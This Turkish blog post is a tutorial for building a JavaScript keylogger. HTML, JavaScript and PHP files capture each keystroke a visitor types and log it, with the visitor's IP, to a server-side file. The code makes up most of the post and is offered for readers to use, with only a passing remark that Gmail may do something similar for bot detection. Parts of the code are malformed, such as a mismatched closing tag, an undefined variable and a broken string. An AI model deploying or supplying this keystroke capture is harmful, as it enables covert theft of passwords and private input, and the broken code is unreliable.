Javascript İle Keylogger Yapımı

Geçenlerde google’ı biraz inceliyordum,gmail sayfasına daha doğrusu,gmail kayıt sayfasına javascript ile bir keylogger koyduğunun farkına vardım.Bunu bot anlamak için yapıyor olabileceğini düşünmüyor değilim,bir örnek hazırladım aşağıdan kodlarına erişebilirsiniz.

İndex.php dosyamızı şu şekilde hazırlayalım ve javascript dosyamızı dışarıdan include edelim.

<html lang="tr">
<head>
<title>javascript keylogger</a>
<script language="javascript" src="kayit.js"/>
</head>
<body onkeyup="behavior(event)">
makeRequest('./yaz.php?on=' + keyb);
</body>
</html>

Yaz.php dosyamızda budur 🙂 log ve ip adresi kaydı yaptırıyoruz.ip gerçek olan değil porxy ipdir.gerçek olanı almak istiyorsanız bu bağlantıyı ziyaret edebilirsiniz.

<?php
error_reporting(E_ALL & ~E_NOTICE);
$logyolu = "./loglar.html";
$ipadresi = $_SERVER['REMOTE_ADDR'];
$_get= $_GET['on']."|";
$handle = fopen($logyolu,"a");
$handl3 = fopen($logyolu,"c");

fwrite($handl3,"<style>body {; font-size:10px;}</style><div align='center'>"."IP:".$ip."<br />"</div> Loglanan: <br />");

fwrite($handle,$_get);
fclose($handl3);
?>

En son ise kayit.js dosyalarımızı ayarlıyalım :))

function behavior(event)
{
var keya = "";
keya = event.keyCode;
keyb = String.fromCharCode(keya);
makeRequest('./yaz.php?on=' + keyb);
}
function makeRequest(url)
{
var httpRequest;
if (window.XMLHttpRequest)
{ // Mozilla, Safari
httpRequest = new XMLHttpRequest();
if (httpRequest.overrideMimeType) {
httpRequest.overrideMimeType('text/xml');
}
}
else if (window.ActiveXObject)
{ // IE
try
{
httpRequest = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e) {
try {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e) {}
}
}
if (!httpRequest)
{
return false;
}
httpRequest.onreadystatechange = function() { alertContents(httpRequest); };
httpRequest.open('GET', url, true);
httpRequest.send(null);
}
function alertContents(httpRequest)
{
if (httpRequest.readyState == 4) {
if (httpRequest.status == 200) {
}
else
{
}
}
}

Güzel oldu güzel,tabi loglar.html dosyamızı da açalım aynı klasöre..Projeyi internette bir kaynaktan buldum inceledim ve sizlerle paylaşıyorum,tabi bir iki değişiklik de yaptım 😉 Yorumlarınızı eksik etmeyin..

Javascript İle Keylogger Yapımı” hakkında 1 yorum

  1. Güzel bir yazı olmuş gerçekten emeğine sağlık, yanlış hatırlamıyorsam google ve hotmail’de sayfa içerisinde buna benzer bi keylogger ile mouse hareketlerini takip eden bir javascript kodu vardı spamları algılamak amacıyla yapılmış birşeydi..

Yorumlar kapalı.